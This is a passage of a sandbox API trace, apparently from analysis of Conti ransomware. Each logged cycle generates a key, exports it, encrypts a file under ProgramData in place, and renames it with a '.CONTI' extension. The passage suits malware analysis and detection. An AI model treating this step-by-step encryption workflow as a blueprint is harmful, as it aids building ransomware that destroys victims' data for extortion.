	[0117.076] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.076] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.077] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.077] GetProcessHeap () returned 0x1720000
	[0117.077] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.077] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0117.077] GetProcessHeap () returned 0x1720000
	[0117.077] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bc350 | out: hHeap=0x1720000) returned 1
	[0117.077] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0117.077] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x65dc960 | out: phKey=0x65dc960*=0x6b7f1f8) returned 1
	[0117.077] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc964, pdwDataLen=0x50ff91c | out: pbData=0x65dc964*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0117.079] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.079] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0117.079] GetLastError () returned 0x0
	[0117.079] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=4096) returned 1
	[0117.080] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.080] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.080] SetEndOfFile (hFile=0x3d4) returned 1
	[0117.080] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.080] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.080] WriteFile (in: hFile=0x3d4, lpBuffer=0x65dc964*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x65dc964*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.081] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.081] ReadFile (in: hFile=0x3d4, lpBuffer=0xee90000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x1000, lpOverlapped=0x0) returned 1
	[0118.806] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1010) returned 1
	[0118.806] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.806] WriteFile (in: hFile=0x3d4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x1010, lpOverlapped=0x0) returned 1
	[0118.810] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.810] WriteFile (in: hFile=0x3d4, lpBuffer=0x65dc958*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x65dc958*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0118.810] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.810] CloseHandle (hObject=0x3d4) returned 1
	[0118.811] GetProcessHeap () returned 0x1720000
	[0118.811] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0118.852] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0118.852] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0118.852] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0118.853] GetProcessHeap () returned 0x1720000
	[0118.853] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0118.853] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0118.853] GetProcessHeap () returned 0x1720000
	[0118.853] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb238 | out: hHeap=0x1720000) returned 1
	[0118.853] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0118.853] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f970 | out: phKey=0x6b4f970*=0x6b7f1f8) returned 1
	[0118.853] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f974, pdwDataLen=0x50ff91c | out: pbData=0x6b4f974*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0118.854] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi")) returned 0x20
	[0118.854] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0118.854] GetLastError () returned 0x0
	[0118.854] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=151552) returned 1
	[0118.855] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x25000
	[0118.855] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.855] SetEndOfFile (hFile=0x3d4) returned 1
	[0118.855] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.855] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.855] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4f974*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b4f974*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0118.856] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.856] ReadFile (in: hFile=0x3d4, lpBuffer=0xee90000, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x25000, lpOverlapped=0x0) returned 1
	[0118.858] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x25000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x25010) returned 1
	[0118.858] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.858] WriteFile (in: hFile=0x3d4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x25010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x25010, lpOverlapped=0x0) returned 1
	[0118.858] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.858] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4f968*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b4f968*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0118.858] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.859] CloseHandle (hObject=0x3d4) returned 1
	[0118.859] GetProcessHeap () returned 0x1720000
	[0118.859] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0118.859] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" | out: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi"
	[0118.859] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.CONTI") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.CONTI"
	[0118.859] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.CONTI" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.conti")) returned 1
	[0118.859] GetProcessHeap () returned 0x1720000
	[0118.859] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0118.859] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0118.859] GetProcessHeap () returned 0x1720000
	[0118.859] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18195a8 | out: hHeap=0x1720000) returned 1
	[0118.859] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0118.859] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4de10 | out: phKey=0x6b4de10*=0x6b7f1f8) returned 1
	[0118.860] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4de14, pdwDataLen=0x50ff91c | out: pbData=0x6b4de14*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0118.860] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab")) returned 0x20
	[0118.860] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0118.861] GetLastError () returned 0x0
	[0118.861] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=821681) returned 1
	[0118.861] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc89b1
	[0118.861] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.861] SetEndOfFile (hFile=0x3d4) returned 1
	[0118.861] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.861] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.861] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4de14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b4de14*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0118.863] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.863] ReadFile (in: hFile=0x3d4, lpBuffer=0xee90000, nNumberOfBytesToRead=0xc89b1, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0xc89b1, lpOverlapped=0x0) returned 1
	[0118.869] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0xc89b1, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0xc89c0) returned 1
	[0118.870] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.870] WriteFile (in: hFile=0x3d4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0xc89c0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0xc89c0, lpOverlapped=0x0) returned 1
	[0118.872] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.872] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4de08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b4de08*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0118.872] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.872] CloseHandle (hObject=0x3d4) returned 1
	[0118.872] GetProcessHeap () returned 0x1720000
	[0118.872] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0118.872] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" | out: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab"
	[0118.872] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.CONTI") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.CONTI"
	[0118.872] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.CONTI" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab.conti")) returned 1
	[0118.875] GetProcessHeap () returned 0x1720000
	[0118.875] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0118.876] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0118.876] GetProcessHeap () returned 0x1720000
	[0118.876] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b058 | out: hHeap=0x1720000) returned 1
	[0118.876] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0118.876] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4ee08 | out: phKey=0x6b4ee08*=0x6b7f1f8) returned 1
	[0118.876] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4ee0c, pdwDataLen=0x50ff91c | out: pbData=0x6b4ee0c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0118.876] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi")) returned 0x20
	[0118.877] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0118.877] GetLastError () returned 0x0
	[0118.877] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=151552) returned 1
	[0118.877] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x25000
	[0118.877] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.877] SetEndOfFile (hFile=0x3d4) returned 1
	[0118.877] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.877] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.877] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4ee0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b4ee0c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0118.878] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.879] ReadFile (in: hFile=0x3d4, lpBuffer=0xee90000, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x25000, lpOverlapped=0x0) returned 1
	[0118.880] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x25000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x25010) returned 1
	[0118.880] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.880] WriteFile (in: hFile=0x3d4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x25010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x25010, lpOverlapped=0x0) returned 1
	[0118.881] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
